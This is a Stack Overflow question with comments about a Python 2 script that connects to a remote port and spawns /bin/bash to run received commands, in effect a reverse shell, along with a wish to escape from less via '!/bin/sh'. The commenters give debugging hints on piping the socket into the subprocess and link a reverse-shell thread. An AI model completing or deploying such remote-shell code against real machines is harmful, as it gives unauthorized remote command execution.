0

I read the answer on this question, which is similar to my problem and edited it to explain what I am trying to do. In this code I am running bash command on the script and expecting to directly open a shell on the client side who connects to the port.

Although this is not what my main aim is, what I am trying to do is execute less command to open and read a file and allow the user connected on the port to also be able to use other functionalities of less command like passing !/bin/sh.

Coming to the problem, When i run the below code, I don't get the shell open and I can't pass commands to the bash shell(Nothing happens). This is maybe because of the way I am using stdout,stdin and sterr arguments.

Any help would be appreciated.

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

  • Using `os.system()`? No. Use `subprocess.Popen` instead so you can pass `stdin=` / `stdout=` / `stderr=` as arguments. Mind, `less` expects a terminal, and to be able to interrogate that terminal to figure out things like size of the current window that output is being displayed in; you can't reasonably expect to use it this way without doing a bunch of work (like agreeing on a `TERM` value with the remote system), but if you change your code, tools like `cat` should be fine. – Charles Duffy Mar 17 '21 at 21:45
  • (`os.system` shouldn't be used regardless; it's very prone to security issues -- the minute you let someone pick a filename other than `data.txt` you need to start worrying about remote code execution bugs, whereas `subprocess.Popen` without `shell=True` is harder to misuse). – Charles Duffy Mar 17 '21 at 21:47
  • @CharlesDuffy I am using this locally only so i guess there won't be much issue with `TERM` value. But still I don't get how to connect socket with the subprocess and pass commands from the port to directly inside less command.I am trying to open shell inside less command by passing `!/bin/sh` through the port. – Aditya Verma Mar 18 '21 at 16:42
  • I told you the "how" is my very first comment, and the linked duplicate goes into further details. At least [edit] the question to show that you're _trying_ to follow that advice (and a specific problem you get when doing so). – Charles Duffy Mar 18 '21 at 16:48
  • @CharlesDuffy I just edited it to make more sense and what is happening now. – Aditya Verma Mar 18 '21 at 17:39
  • Right now, you aren't retrieving the received code to the stdin part of the pipe. – Charles Duffy Mar 18 '21 at 17:52
  • Also, see the comment https://stackoverflow.com/questions/33147442/how-to-use-sockets-in-python-and-subprocess#comment54124195_33147442 describing a problem that's still present in the linked duplicate's answer. `proc.stdout.read() + proc.stderr.read()` only works if all of a process's stdout can be read without reading any of its stderr. If the process first writes to stderr and only writes to stdout after it's done writing to stderr, that code will deadlock, so the `communicate()` call should be used instead. – Charles Duffy Mar 18 '21 at 17:54
  • Also, the code above is expected to run _only one command at a time_, not an interactive shell. It sends stdin _once_, and reads stdout and stderr _once_; it isn't written to continually pass data across. The easiest way to make it continuous is to make it _not be Python's problem at all_, and just pass the socket itself directly to your subprocess, instead of making your code proxy between the socket and a bunch of FIFOs. – Charles Duffy Mar 18 '21 at 17:55
  • I added [python true interactive remote reverse shell](https://stackoverflow.com/questions/42767321/python-true-interactive-remote-reverse-shell) to the duplicate list -- it's more true to what you're actually trying to accomplish here, and demonstrates exactly the technique I described above. – Charles Duffy Mar 18 '21 at 18:37

0 Answers0